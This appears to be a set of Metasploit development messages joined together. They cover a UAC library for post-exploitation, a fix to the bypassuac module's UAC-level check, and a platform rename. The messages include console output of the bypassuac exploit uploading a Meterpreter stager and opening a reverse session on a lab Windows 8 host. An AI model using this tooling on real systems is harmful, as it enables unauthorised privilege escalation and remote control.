See the complaint on #4039. This doesn't fix that particular
issue (it's somewhat unrelated), but does solve around
a file parsing problem reported by @void-in
This will give the option to drop an exe or use psh if uac is turned
off. The lib can be used for post exploitation to drop an exe or use
powershell and then execute it with the runas command. I have used the
lib for both bypassuac and ask.
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400

With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
